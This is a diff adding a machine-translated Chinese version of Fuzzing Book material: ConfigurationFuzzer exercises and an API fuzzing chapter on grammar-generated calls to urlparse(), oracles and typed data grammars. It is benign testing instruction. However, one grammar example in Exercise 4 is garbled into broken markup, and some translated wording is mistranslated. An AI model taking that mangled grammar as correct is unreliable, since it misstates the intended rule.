+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：提取和模糊C命令行选项
+
+在C程序中，`getopt()`功能经常用于处理配置选项。 一个电话
+
+```py
+getopt(argc, argv, "bf:")
+```
+
+表示程序接受两个选项`-b`和`-f`，其中`-f`作为参数（如以下冒号所示）。
+
+#### 第1部分：Getopt模糊测试
+
+编写一个框架，对于给定的C程序，该框架将自动提取`getopt()`的参数并为其导出模糊的语法。 有多种方法可以实现此目的：
+
+1.  扫描程序源代码以查看是否出现`getopt()`，然后返回传递的字符串。 （粗略，但应该经常工作。）
+2.  将您自己的`getopt()`实现插入源代码（有效替换运行时库中的`getopt()`），该代码将输出`getopt()`参数并退出程序。 重新编译并运行。
+3.  （高级。）如上所述，但不要更改源代码，而是连接到*动态链接器*，该链接器在运行时将程序与C运行时库链接在一起。 设置库加载路径（在Linux和Unix上，这是`LD_LIBRARY_PATH`环境变量），以便首先链接您自己的`getopt()`版本，然后再链接常规库。 执行程序（无需重新编译）应该会产生所需的结果。
+
+将其应用于`grep`和`ls`上； 报告生成的语法和结果。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：在C 中模糊长选项
+
+与第1部分相同，但也加入了GNU变体`getopt_long()`，该变体接受带有双破折号的“长”自变量，例如`--help`。 请注意，上面的方法1在这里不起作用，因为“长”选项是在单独定义的结构中定义的。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习4：上下文扩展
+
+在上述选项配置中，我们有多个符号都扩展为相同的整数。 例如，`autopep8`的`--line-range`选项采用两个`<line>`参数，它们都扩展为相同的`<int>`符号：
+
+```py
+<option> ::= ... | --line-range <line> <line> | ...
+<line> ::= <int>
+<int> ::= (-)?<digit>+
+<digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
+```
+
+```py
+autopep8_runner.ebnf_grammar()["<line>"]
+
+```
+
+```py
+['<int>']
+
+```
+
+```py
+autopep8_runner.ebnf_grammar()["<int>"]
+
+```
+
+```py
+['(-)?<digit>+']
+
+```
+
+```py
+autopep8_runner.ebnf_grammar()["<digit>"]
+
+```
+
+```py
+['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+
+```
+
+但是，一旦`GrammarCoverageFuzzer`覆盖了*一个*选项的`<int>`的所有变体（特别是覆盖了所有数字），它将不再努力为下一个选项实现这种覆盖。 但是，可能希望分别为每个选项实现这种覆盖。
+
+使用我们现有的`GrammarCoverageFuzzer`实现此目的的一种方法是再次更改语法。 想法是*复制*扩展名-也就是说，用新的符号$ s'$替换符号$ s $的扩展名，其定义与$ s $相同。 这样，从coverage的角度来看，$ s'$和$ s $是独立的符号，将被独立覆盖。
+
+作为示例，请再次考虑上述`--line-range`选项。 如果我们希望我们的测试独立覆盖两个`<line>`参数的所有元素，则可以将第二个`<line>`扩展名复制到一个新符号`<line'>`中，并带有随后重复的扩展名：
+
+```py
+<option> ::= ... | --line-range <line> <line'> | ...
+<line> ::= <int>
+<line'> ::= <int'>
+<int> ::= (-)?<digit>+
+<int'> ::= (-)?<digit'>+
+<digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
+<digit'> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
+```
+
+设计一个函数`inline(grammar, symbol)`，该函数返回`grammar`的副本，其中，每次出现的`<symbol>`及其扩展名都将成为单独的副本。 上面的语法可能是`inline(autopep8_runner.ebnf_grammar(), "<line>")`的结果。
+
+复制时，副本中的扩展名也应引用副本中的符号。 因此，在展开`<int>`
+
+`<int> ::= <int><digit>`
+
+使那个
+
+``` <int>:: =</int>
+
+< int'> :: = < int'> <数字'>```
+
+（而不是`<int'> ::= <int><digit'>`或`<int'> ::= <int><digit>`）。
+
+确保为原始语法中的每个出现精确添加一组新的符号，并且在存在递归的情况下不要进一步扩展。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/31.md b/new/fuzzing-book-zh/31.md
new file mode 100644
index 0000000000000000000000000000000000000000..f60038b4e7e14b5155dd6a10690840d6584fd08c
--- /dev/null
+++ b/new/fuzzing-book-zh/31.md
@@ -0,0 +1,757 @@
+# 模糊API
+
+> 原文： [https://www.fuzzingbook.org/html/APIFuzzer.html](https://www.fuzzingbook.org/html/APIFuzzer.html)
+
+到目前为止，我们始终生成*系统输入*，即程序整体通过其输入通道获得的数据。 但是，我们还可以生成直接输入各个功能的输入，从而在处理过程中获得灵活性和速度。 在本章中，我们探索使用语法来合成函数调用的代码，这使您可以生成*程序代码，该代码非常有效地直接调用函数。*
+
+**前提条件**
+
+*   您必须知道语法模糊处理的工作原理，例如 摘自[语法](Grammars.html)一章。
+*   我们使用*生成器函数*，如在[关于使用生成器](GeneratorGrammarFuzzer.html)进行模糊化的章节中所讨论的。
+*   如[关于概率模糊化](ProbabilisticGrammarFuzzer.html)的一章所述，我们利用了概率。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.APIFuzzer](APIFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了用于生成函数调用的语法的语法构造函数。
+
+*   `INT_GRAMMAR`，`FLOAT_GRAMMAR`和`ASCII_STRING_GRAMMAR`分别产生整数，浮点数和字符串。
+*   `int_grammar_with_range(start, end)`产生具有值`N`的整数语法，使得`start <= N <= end`。
+*   `float_grammar_with_range(start, end)`产生具有值`N`的浮点语法，使得`start <= N <= end`。
+
+语法为[概率](ProbabilisticGrammarFuzzer.html)，并使用[生成器](GeneratorGrammarFuzzer.html)，因此请使用`ProbabilisticGeneratorGrammarFuzzer`作为生成器。
+
+```py
+>>> from [GeneratorGrammarFuzzer](GeneratorGrammarFuzzer.html) import ProbabilisticGeneratorGrammarFuzzer
+>>> int_grammar = int_grammar_with_range(100, 200)
+>>> fuzzer = ProbabilisticGeneratorGrammarFuzzer(int_grammar)
+>>> [fuzzer.fuzz() for i in range(10)]
+['172', '102', '127', '119', '167', '186', '133', '155', '111', '111']
+
+```
+
+这些值可以立即用于测试函数调用：
+
+```py
+>>> from [math](https://docs.python.org/3/library/math.html) import sqrt
+>>> eval("sqrt(" + fuzzer.fuzz() + ")")
+13.45362404707371
+
+```
+
+这些语法也可以组成更复杂的语法：
+
+*   `list_grammar(object_grammar)`返回产生`object_grammar`定义的对象列表的语法。
+
+```py
+>>> int_list_grammar = list_grammar(int_grammar)
+>>> fuzzer = ProbabilisticGeneratorGrammarFuzzer(int_list_grammar)
+>>> [fuzzer.fuzz() for i in range(5)]
+['[194, 118, 169, 164, 169, 190, 172, 144, 174]',
+ '[109, 127, 185, 155]',
+ '[146, 103, 114, 185, 119, 148, 169, 167, 161]',
+ '[]',
+ '[138, 123, 147, 112, 139, 190, 114, 112]']
+>>> eval("len(" + fuzzer.fuzz() + ")")
+2
+
+```
+
+## 模糊函数
+
+让我们从第一个问题开始：如何模糊给定函数？ 对于像Python这样的解释型语言，这非常简单。 我们需要做的就是对要测试的函数生成*调用*。 这是我们可以轻松完成的语法操作。
+
+例如，考虑Python库中的`urlparse()`函数。 `urlparse()`提取一个URL，并将其分解为各个组件。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urlparse
+
+```
+
+```py
+urlparse('https://www.fuzzingbook.com/html/APIFuzzer.html')
+
+```
+
+```py
+ParseResult(scheme='https', netloc='www.fuzzingbook.com', path='/html/APIFuzzer.html', params='', query='', fragment='')
+
+```
+
+您会看到URL的各个元素– *方案*（`"http"`），*网络位置*（`"www.fuzzingbook.com"`）或路径（`"//html/APIFuzzer.html"`）都如何正确 确定。 其他元素（例如`params`，`query`或`fragment`）为空，因为它们不是我们输入的一部分。
+
+为了测试`urlparse()`，我们想要提供大量不同的URL。 我们可以从在[“语法”](Grammars.html) 一章中定义的URL语法中获得这些内容。
+
+```py
+from [Grammars](Grammars.html) import URL_GRAMMAR, is_valid_grammar, START_SYMBOL, new_symbol, opts, extend_grammar
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer, display_tree, all_terminals
+
+```
+
+```py
+url_fuzzer = GrammarFuzzer(URL_GRAMMAR)
+
+```
+
+```py
+for i in range(10):
+    url = url_fuzzer.fuzz()
+    print(urlparse(url))
+
+```
+
+```py
+ParseResult(scheme='https', netloc='user:password@cispa.saarland:8080', path='/', params='', query='', fragment='')
+ParseResult(scheme='http', netloc='cispa.saarland:1', path='/', params='', query='', fragment='')
+ParseResult(scheme='https', netloc='fuzzingbook.com:7', path='', params='', query='', fragment='')
+ParseResult(scheme='https', netloc='user:password@cispa.saarland:80', path='', params='', query='', fragment='')
+ParseResult(scheme='ftps', netloc='user:password@fuzzingbook.com', path='', params='', query='', fragment='')
+ParseResult(scheme='ftp', netloc='fuzzingbook.com', path='/abc', params='', query='abc=x31&def=x20', fragment='')
+ParseResult(scheme='ftp', netloc='user:password@fuzzingbook.com', path='', params='', query='', fragment='')
+ParseResult(scheme='https', netloc='www.google.com:80', path='/', params='', query='', fragment='')
+ParseResult(scheme='http', netloc='fuzzingbook.com:52', path='/', params='', query='', fragment='')
+ParseResult(scheme='ftps', netloc='user:password@cispa.saarland', path='', params='', query='', fragment='')
+
+```
+
+这样，我们可以轻松地测试任何Python函数-通过设置一个运行它的支架。 但是，如果我们想进行可以一次又一次地运行而又不必每次都生成新调用的测试，该如何进行呢？
+
+## 合成代码
+
+上面概述的“脚手架”方法有一个重要的缺点：它将测试生成和测试执行耦合到一个单元中，不允许在不同的时间或使用不同的语言运行。 为了使两者脱钩，我们采用了另一种方法：*而不是生成输入并立即将其输入到函数中，而是合成代码*来调用具有给定输入的函数。
+
+例如，如果我们生成字符串
+
+```py
+call = "urlparse('http://www.example.com/')"
+
+```
+
+我们可以随时执行整个字符串（从而运行测试）：
+
+```py
+eval(call)
+
+```
+
+```py
+ParseResult(scheme='http', netloc='www.example.com', path='/', params='', query='', fragment='')
+
+```
+
+为了系统地生成此类调用，我们可以再次使用语法：
+
+```py
+URLPARSE_GRAMMAR = {
+    "<call>":
+        ['urlparse("<url>")']
+}
+
+# Import definitions from URL_GRAMMAR
+URLPARSE_GRAMMAR.update(URL_GRAMMAR)
+URLPARSE_GRAMMAR["<start>"] = ["<call>"]
+
+assert is_valid_grammar(URLPARSE_GRAMMAR)
+
+```
+
+该语法以`urlparse(<url>)`的形式创建调用，其中`<url>`来自“导入的” URL语法。 这个想法是创建许多这样的调用，并将它们提供给Python解释器。
+
+```py
+URLPARSE_GRAMMAR
+
+```
+
+```py
+{'<call>': ['urlparse("<url>")'],
+ '<start>': ['<call>'],
+ '<url>': ['<scheme>://<authority><path><query>'],
+ '<scheme>': ['http', 'https', 'ftp', 'ftps'],
+ '<authority>': ['<host>',
+  '<host>:<port>',
+  '<userinfo>@<host>',
+  '<userinfo>@<host>:<port>'],
+ '<host>': ['cispa.saarland', 'www.google.com', 'fuzzingbook.com'],
+ '<port>': ['80', '8080', '<nat>'],
+ '<nat>': ['<digit>', '<digit><digit>'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<userinfo>': ['user:password'],
+ '<path>': ['', '/', '/<id>'],
+ '<id>': ['abc', 'def', 'x<digit><digit>'],
+ '<query>': ['', '?<params>'],
+ '<params>': ['<param>', '<param>&<params>'],
+ '<param>': ['<id>=<id>', '<id>=<nat>']}
+
+```
+
+现在，我们可以使用此语法来模糊处理和合成对`urlparse)`的调用：
+
+```py
+urlparse_fuzzer = GrammarFuzzer(URLPARSE_GRAMMAR)
+urlparse_fuzzer.fuzz()
+
+```
+
+```py
+'urlparse("http://user:password@fuzzingbook.com:8080?abc=x29")'
+
+```
+
+如上所述，我们可以立即执行这些调用。 为了更好地了解正在发生的事情，我们定义了一个小的辅助函数：
+
+```py
+# Call function_name(arg[0], arg[1], ...) as a string
+def do_call(call_string):
+    print(call_string)
+    result = eval(call_string)
+    print("\t= " + repr(result))
+    return result
+
+```
+
+```py
+call = urlparse_fuzzer.fuzz()
+do_call(call)
+
+```
+
+```py
+urlparse("http://www.google.com?abc=def")
+	= ParseResult(scheme='http', netloc='www.google.com', path='', params='', query='abc=def', fragment='')
+
+```
+
+```py
+ParseResult(scheme='http', netloc='www.google.com', path='', params='', query='abc=def', fragment='')
+
+```
+
+例如，如果`urlparse()`是一个C函数，我们可以将其调用嵌入到某个（也生成的）C函数中：
+
+```py
+URLPARSE_C_GRAMMAR = {
+    "<cfile>": ["<cheader><cfunction>"],
+    "<cheader>": ['#include "urlparse.h"\n\n'],
+    "<cfunction>": ["void test() {\n<calls>}\n"],
+    "<calls>": ["<call>", "<calls><call>"],
+    "<call>": ['    urlparse("<url>");\n']
+}
+
+```
+
+```py
+URLPARSE_C_GRAMMAR.update(URL_GRAMMAR)
+
+```
+
+```py
+URLPARSE_C_GRAMMAR["<start>"] = ["<cfile>"]
+
+```
+
+```py
+assert is_valid_grammar(URLPARSE_C_GRAMMAR)
+
+```
+
+```py
+urlparse_fuzzer = GrammarFuzzer(URLPARSE_C_GRAMMAR)
+print(urlparse_fuzzer.fuzz())
+
+```
+
+```py
+#include "urlparse.h"
+
+void test() {
+    urlparse("http://user:password@cispa.saarland:99/x69?x57=abc");
+}
+
+```
+
+## 合成Oracle
+
+在我们的`urlparse()`示例中，Python和C变体都只检查`urlparse()`中的*通用*错误； 也就是说，它们仅检测致命的错误和异常。 为了进行全面测试，我们还需要设置一个特定的 *oracle* ，以检查结果是否有效。
+
+我们的计划是检查URL的特定部分是否再次出现在结果中-也就是说，如果方案为`http:`，则返回的`ParseResult`也应该包含`http:`方案。 正如在[关于使用生成器](GeneratorGrammarFuzzer.html)进行模糊处理的章节中所讨论的那样，跨两个符号的诸如`http:`之类的字符串的相等性无法用上下文无关的语法表示。 但是，我们可以使用*生成器函数*（也在有关生成器的模糊化的[一章中介绍）来自动执行此类相等性。](GeneratorGrammarFuzzer.html)
+
+这是一个例子。 在`urlparse()`结果上调用`geturl()`应该返回最初传递给`urlparse()`的URL。
+
+```py
+from [GeneratorGrammarFuzzer](GeneratorGrammarFuzzer.html) import GeneratorGrammarFuzzer, ProbabilisticGeneratorGrammarFuzzer
+
+```
+
+```py
+URLPARSE_ORACLE_GRAMMAR = extend_grammar(URLPARSE_GRAMMAR,
+{
+     "<call>": [("assert urlparse('<url>').geturl() == '<url>'",
+                 opts(post=lambda url_1, url_2: [None, url_1]))]
+})
+
+```
+
+```py
+urlparse_oracle_fuzzer = GeneratorGrammarFuzzer(URLPARSE_ORACLE_GRAMMAR)
+test = urlparse_oracle_fuzzer.fuzz()
+print(test)
+
+```
+
+```py
+assert urlparse('https://user:password@cispa.saarland/abc?abc=abc').geturl() == 'https://user:password@cispa.saarland/abc?abc=abc'
+
+```
+
+```py
+exec(test)
+
+```
+
+以类似的方式，我们还可以检查结果的各个组成部分：
+
+```py
+URLPARSE_ORACLE_GRAMMAR = extend_grammar(URLPARSE_GRAMMAR,
+{
+     "<call>": [("result = urlparse('<scheme>://<host><path>?<params>')\n"
+                 # + "print(result)\n"
+                 + "assert result.scheme == '<scheme>'\n"
+                 + "assert result.netloc == '<host>'\n"
+                 + "assert result.path == '<path>'\n"
+                 + "assert result.query == '<params>'",
+                 opts(post=lambda scheme_1, authority_1, path_1, params_1,
+                      scheme_2, authority_2, path_2, params_2:
+                      [None, None, None, None,
+                       scheme_1, authority_1, path_1, params_1]))]
+})
+
+# Get rid of unused symbols
+del URLPARSE_ORACLE_GRAMMAR["<url>"]
+del URLPARSE_ORACLE_GRAMMAR["<query>"]
+del URLPARSE_ORACLE_GRAMMAR["<authority>"]
+del URLPARSE_ORACLE_GRAMMAR["<userinfo>"]
+del URLPARSE_ORACLE_GRAMMAR["<port>"]
+
+```
+
+```py
+urlparse_oracle_fuzzer = GeneratorGrammarFuzzer(URLPARSE_ORACLE_GRAMMAR)
+test = urlparse_oracle_fuzzer.fuzz()
+print(test)
+
+```
+
+```py
+result = urlparse('https://www.google.com/?def=18&abc=abc')
+assert result.scheme == 'https'
+assert result.netloc == 'www.google.com'
+assert result.path == '/'
+assert result.query == 'def=18&abc=abc'
+
+```
+
+```py
+exec(test)
+
+```
+
+生成器功能的使用可能会有些麻烦。 确实，如果我们独特地坚持使用Python，我们还可以创建一个*单元测试*，该单元测试直接调用模糊器以生成各个部分：
+
+```py
+def fuzzed_url_element(symbol):
+    return GrammarFuzzer(URLPARSE_GRAMMAR, start_symbol=symbol).fuzz()
+
+```
+
+```py
+scheme = fuzzed_url_element("<scheme>")
+authority = fuzzed_url_element("<authority>")
+path = fuzzed_url_element("<path>")
+query = fuzzed_url_element("<params>")
+url = "%s://%s%s?%s" % (scheme, authority, path, query)
+result = urlparse(url)
+# print(result)
+assert result.geturl() == url
+assert result.scheme == scheme
+assert result.path == path
+assert result.query == query
+
+```
+
+使用这样的单元测试可以更容易地表达预言。 但是，我们失去了像 [`GrammarCoverageFuzzer`](GrammarCoverageFuzzer.html) 一样系统地覆盖各个URL元素和替代项的能力，以及与 [`ProbabilisticGrammarFuzzer`](ProbabilisticGrammarFuzzer.html) 一样将生成导向特定元素的能力。 此外，语法使我们能够生成针对任意编程语言和API的测试。
+
+## 合成数据
+
+对于`urlparse()`，我们使用了非常具体的语法来创建非常具体的参数。 但是，许多函数都将基本数据类型作为（某些）参数。 因此，我们定义了精确生成这些参数的语法。 更好的是，我们可以定义*生成针对我们特定需求量身定制的*语法的函数，例如返回特定范围内的值。
+
+### 整数
+
+我们引入一个简单的语法来产生整数。
+
+```py
+from [Grammars](Grammars.html) import convert_ebnf_grammar, crange
+
+```
+
+```py
+from [ProbabilisticGrammarFuzzer](ProbabilisticGrammarFuzzer.html) import ProbabilisticGrammarFuzzer
+
+```
+
+```py
+INT_EBNF_GRAMMAR = {
+    "<start>": ["<int>"],
+    "<int>": ["<_int>"],
+    "<_int>": ["(-)?<leaddigit><digit>*", "0"],
+    "<leaddigit>": crange('1', '9'),
+    "<digit>": crange('0', '9')
+}
+
+assert is_valid_grammar(INT_EBNF_GRAMMAR)
+
+```
+
+```py
+INT_GRAMMAR = convert_ebnf_grammar(INT_EBNF_GRAMMAR)
+INT_GRAMMAR
+
+```
+
+```py
+{'<start>': ['<int>'],
+ '<int>': ['<_int>'],
+ '<_int>': ['<symbol-1><leaddigit><digit-1>', '0'],
+ '<leaddigit>': ['1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<symbol>': ['-'],
+ '<symbol-1>': ['', '<symbol>'],
+ '<digit-1>': ['', '<digit><digit-1>']}
+
+```
+
+```py
+int_fuzzer = GrammarFuzzer(INT_GRAMMAR)
+print([int_fuzzer.fuzz() for i in range(10)])
+
+```
+
+```py
+['699', '-44', '321', '-7', '-6', '67', '0', '0', '57', '0']
+
+```
+
+如果我们需要特定范围内的整数，则可以添加一个生成器函数来实现以下目的：
+
+```py
+from [Grammars](Grammars.html) import set_opts
+
+```
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+def int_grammar_with_range(start, end):
+    int_grammar = extend_grammar(INT_GRAMMAR)
+    set_opts(int_grammar, "<int>", "<_int>",
+        opts(pre=lambda: random.randint(start, end)))
+    return int_grammar
+
+```
+
+```py
+int_fuzzer = GeneratorGrammarFuzzer(int_grammar_with_range(900, 1000))
+[int_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['942', '955', '997', '967', '939', '923', '984', '914', '991', '982']
+
+```
+
+### 浮点数
+
+浮点值的语法与整数语法非常相似。
+
+```py
+FLOAT_EBNF_GRAMMAR = {
+    "<start>": ["<float>"],
+    "<float>": [("<_float>", opts(prob=0.9)), "inf", "NaN"],
+    "<_float>": ["<int>(.<digit>+)?<exp>?"],
+    "<exp>": ["e<int>"]
+}
+FLOAT_EBNF_GRAMMAR.update(INT_EBNF_GRAMMAR)
+FLOAT_EBNF_GRAMMAR["<start>"] = ["<float>"]
+
+assert is_valid_grammar(FLOAT_EBNF_GRAMMAR)
+
+```
+
+```py
+FLOAT_GRAMMAR = convert_ebnf_grammar(FLOAT_EBNF_GRAMMAR)
+FLOAT_GRAMMAR
+
+```
+
+```py
+{'<start>': ['<float>'],
+ '<float>': [('<_float>', {'prob': 0.9}), 'inf', 'NaN'],
+ '<_float>': ['<int><symbol-2><exp-1>'],
+ '<exp>': ['e<int>'],
+ '<int>': ['<_int>'],
+ '<_int>': ['<symbol-1-1><leaddigit><digit-1>', '0'],
+ '<leaddigit>': ['1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<symbol>': ['.<digit-2>'],
+ '<symbol-1>': ['-'],
+ '<symbol-2>': ['', '<symbol>'],
+ '<exp-1>': ['', '<exp>'],
+ '<symbol-1-1>': ['', '<symbol-1>'],
+ '<digit-1>': ['', '<digit><digit-1>'],
+ '<digit-2>': ['<digit>', '<digit><digit-2>']}
+
+```
+
+```py
+float_fuzzer = ProbabilisticGrammarFuzzer(FLOAT_GRAMMAR)
+print([float_fuzzer.fuzz() for i in range(10)])
+
+```
+
+```py
+['0', '-4e0', '-3.3', '0.55e0', '0e2', '0.2', '-48.6e0', '0.216', '-4.844', '-6.100']
+
+```
+
+```py
+def float_grammar_with_range(start, end):
+    float_grammar = extend_grammar(FLOAT_GRAMMAR)
+    set_opts(float_grammar, "<float>", "<_float>", opts(
+        pre=lambda: start + random.random() * (end - start)))
+    return float_grammar
+
+```
+
+```py
+float_fuzzer = ProbabilisticGeneratorGrammarFuzzer(
+    float_grammar_with_range(900.0, 900.9))
+[float_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['900.1695968039919',
+ '900.3273891873373',
+ '900.225192820568',
+ '900.3231805358258',
+ '900.4963527393471',
+ 'inf',
+ 'inf',
+ '900.6037658059212',
+ '900.6212350658716',
+ '900.3877831415683']
+
+```
+
+### 字符串
+
+最后，我们介绍一种用于产生字符串的语法。
+
+```py
+ASCII_STRING_EBNF_GRAMMAR = {
+    "<start>": ["<ascii-string>"],
+    "<ascii-string>": ['"<ascii-chars>"'],
+    "<ascii-chars>": [
+        ("", opts(prob=0.05)),
+        "<ascii-chars><ascii-char>"
+    ],
+    "<ascii-char>": crange(" ", "!") + [r'\"'] + crange("#", "~")
+}
+
+assert is_valid_grammar(ASCII_STRING_EBNF_GRAMMAR)
+
+```
+
+```py
+ASCII_STRING_GRAMMAR = convert_ebnf_grammar(ASCII_STRING_EBNF_GRAMMAR)
+
+```
+
+```py
+string_fuzzer = ProbabilisticGrammarFuzzer(ASCII_STRING_GRAMMAR)
+print([string_fuzzer.fuzz() for i in range(10)])
+
+```
+
+```py
+['"BgY)"', '"j[-64Big65wso(f:wg|}w&*D9JthLX}0@PT^]mr[`69Cq8H713ITYx<#jpml)\\""', '"{);XWZJ@d`\'[h#F{1)C9M?%C`="', '"Y"', '"C4gh`?uzJzD~$\\\\"=|j)jj=SrBLIJ@0IbYiwIvNf5#pT4QUR}[g,35?Wg4i?3TdIsR0|eq3r;ZKuyI\'<\\"[p/x$<$B!\\"_"', '"J0HG33+E(p8JQtKW.;G7 ^?."', '"7r^B:Jf*J.@sqfED|M)3,eJ&OD"', '"c3Hcx^&*~3\\"Jvac}cX"', '"\'IHBQ:N+U:w(OAFn0pHLzX"', '"x4agH>H-2{Q|\\kpYF"']
+
+```
+
+## 合成复合数据
+
+如上所述，根据基本数据，我们还可以在数据结构（例如集合或列表）中生成*复合数据*。 我们在列表中说明了这种生成。
+
+### 列出
+
+```py
+LIST_EBNF_GRAMMAR = {
+    "<start>": ["<list>"],
+    "<list>": [
+        ("[]", opts(prob=0.05)),
+        "[<list-objects>]"
+    ],
+    "<list-objects>": [
+        ("<list-object>", opts(prob=0.2)),
+        "<list-object>, <list-objects>"
+    ],
+    "<list-object>": ["0"],
+}
+
+assert is_valid_grammar(LIST_EBNF_GRAMMAR)
+
+```
+
+```py
+LIST_GRAMMAR = convert_ebnf_grammar(LIST_EBNF_GRAMMAR)
+
+```
+
+我们的列表生成器采用产生对象的语法； 然后，使用这些语法中的对象实例化列表语法。
+
+```py
+def list_grammar(object_grammar, list_object_symbol=None):
+    obj_list_grammar = extend_grammar(LIST_GRAMMAR)
+    if list_object_symbol is None:
+        # Default: Use the first expansion of <start> as list symbol
+        list_object_symbol = object_grammar[START_SYMBOL][0]
+
+    obj_list_grammar.update(object_grammar)
+    obj_list_grammar[START_SYMBOL] = ["<list>"]
+    obj_list_grammar["<list-object>"] = [list_object_symbol]
+
+    assert is_valid_grammar(obj_list_grammar)
+
+    return obj_list_grammar
+
+```
+
+```py
+int_list_fuzzer = ProbabilisticGrammarFuzzer(list_grammar(INT_GRAMMAR))
+[int_list_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['[0, -4, 23, 0, 0, 9, 0, -6067681]',
+ '[-1, -1, 0, -7]',
+ '[-5, 0]',
+ '[1, 0, -628088, -6, -811, 0, 99, 0]',
+ '[-35, -10, 0, 67]',
+ '[-3, 0, -2, 0, 0]',
+ '[0, -267, -78, -733, 0, 0, 0, 0]',
+ '[0, -6, 71, -9]',
+ '[-72, 76, 0, 2]',
+ '[0, 9, 0, 0, -572, 29, 8, 8, 0]']
+
+```
+
+```py
+string_list_fuzzer = ProbabilisticGrammarFuzzer(
+    list_grammar(ASCII_STRING_GRAMMAR))
+[string_list_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['["gn-A$j>", "SPX;", "", "", ""]',
+ '["_", "Qp"]',
+ '["M", "5\\"`X744", "b+5fyM!", "gR`"]',
+ '["^h", "8$u", "", "", ""]',
+ '["6X;", "", "T1wp%\'t"]',
+ '["-?Kk", "@B", "}", "", ""]',
+ '["FD<mqK", ")Y4NI3M.&@1/2.p", "]C#c1}z#+5{7ERA[|", "EOFM])BEMFcGM.~k&RMj*,:m8^!5*:vv%ci"]',
+ '["", "*B.pKI\\"L", "O)#<Y", "\\", "", "", ""]',
+ '["g"]',
+ '["", "\\JS;~t", "h)", "k", "", ""]']
+
+```
+
+```py
+float_list_fuzzer = ProbabilisticGeneratorGrammarFuzzer(list_grammar(
+    float_grammar_with_range(900.0, 900.9)))
+[float_list_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['[900.558064701869, 900.6079527708223, 900.1985188111297, 900.5159940886509, 900.1881413629061, 900.4074809145482, 900.8279453113845, 900.1531931708976, 900.2651056125504, inf, 900.828295978669]',
+ '[900.4956935906264, 900.8166792417645, 900.2044872129637]',
+ '[900.6177668624133, 900.793129850367, 900.5024769009476, 900.5874531663001, inf, 900.3476216137291, 900.5680329060473, 900.1524624203945, 900.1157565249836, 900.0943774301732, 900.1589468212459, 900.8563415304703, 900.2871041191156, 900.2469765832253, 900.408183791468]',
+ '[NaN, 900.1152482126347, 900.1139109179966, NaN, 900.0634308730662, 900.1918596242257]',
+ '[900.49418992478]',
+ '[900.6566851795975, NaN, 900.5585085641878, 900.8678799526169, 900.5580757140183]',
+ '[900.6265067760952]',
+ '[900.5271187218734, 900.3413004135587, 900.0362652510535, 900.2938223153569, 900.6584186055829, 900.5394909707123, 900.5119630230411, 900.2024669591465]',
+ '[900.5068304562362, 900.5173419618334, 900.5268996804168, 900.5247314889621, 900.1082421801126, 900.761200730868, 900.100950598924, 900.1424140649187, inf, inf, 900.4546924838603, 900.7025508468811, 900.5147250716594, 900.4943696257178, 900.814107878577, 900.3540228715348, 900.6165673939341, 900.121833279104, 900.8337503512706, 900.0607374037857, 900.2746253938637, 900.2491844866619, 900.7325728031923]',
+ '[900.6962790125643, 900.6055198052603, 900.0950691946015, 900.6283670716376, NaN, 900.112869956762]']
+
+```
+
+字典，集合等的生成器可以用类似的方式定义。 通过将语法生成器连接在一起。 我们可以产生具有任意元素的数据结构。
+
+## 经验教训
+
+*   要模糊各个功能，可以轻松设置产生功能调用的语法。
+*   API级别的模糊处理比系统级别的模糊处理要快得多，但是由于违反了隐式前提条件，因此存在错误警报的风险。
+
+## 后续步骤
+
+本章都是关于手动编写测试并控制生成哪些数据的。 [在下一章](Carver.html)中，我们将介绍更高级别的自动化：
+
+*   *雕刻*自动记录程序执行中的函数调用和参数。
+*   我们可以将它们转换为*语法*，从而可以使用各种记录值组合来测试这些功能。
+
+使用这些技术，我们可以自动获得已经在应用程序上下文中调用函数的语法，从而使我们更容易地指定它们。
+
+## 背景
+
+首先在QuickCheck [ [Claessen *等人*，2000。](https://doi.org/10.1145/351240.351266)]中探讨了使用生成器函数生成输入结构的想法。 Python的一个很好的实现是[假设程序包](https://hypothesis.readthedocs.io/en/latest/)，它允许编写和组合数据结构生成器以测试API。
+
+## 练习
+
+本章的练习将上述技术与前面介绍的模糊技术结合在一起。
+
+### 练习1：深层争论
+
+在为`urlparse()`生成预言的示例中，未检查诸如`authority`或`port`之类的重要元素。 使用扩展后功能丰富`URLPARSE_ORACLE_GRAMMAR`，该功能将生成的元素存储在符号表中，以便在生成断言时可以对其进行访问。
+
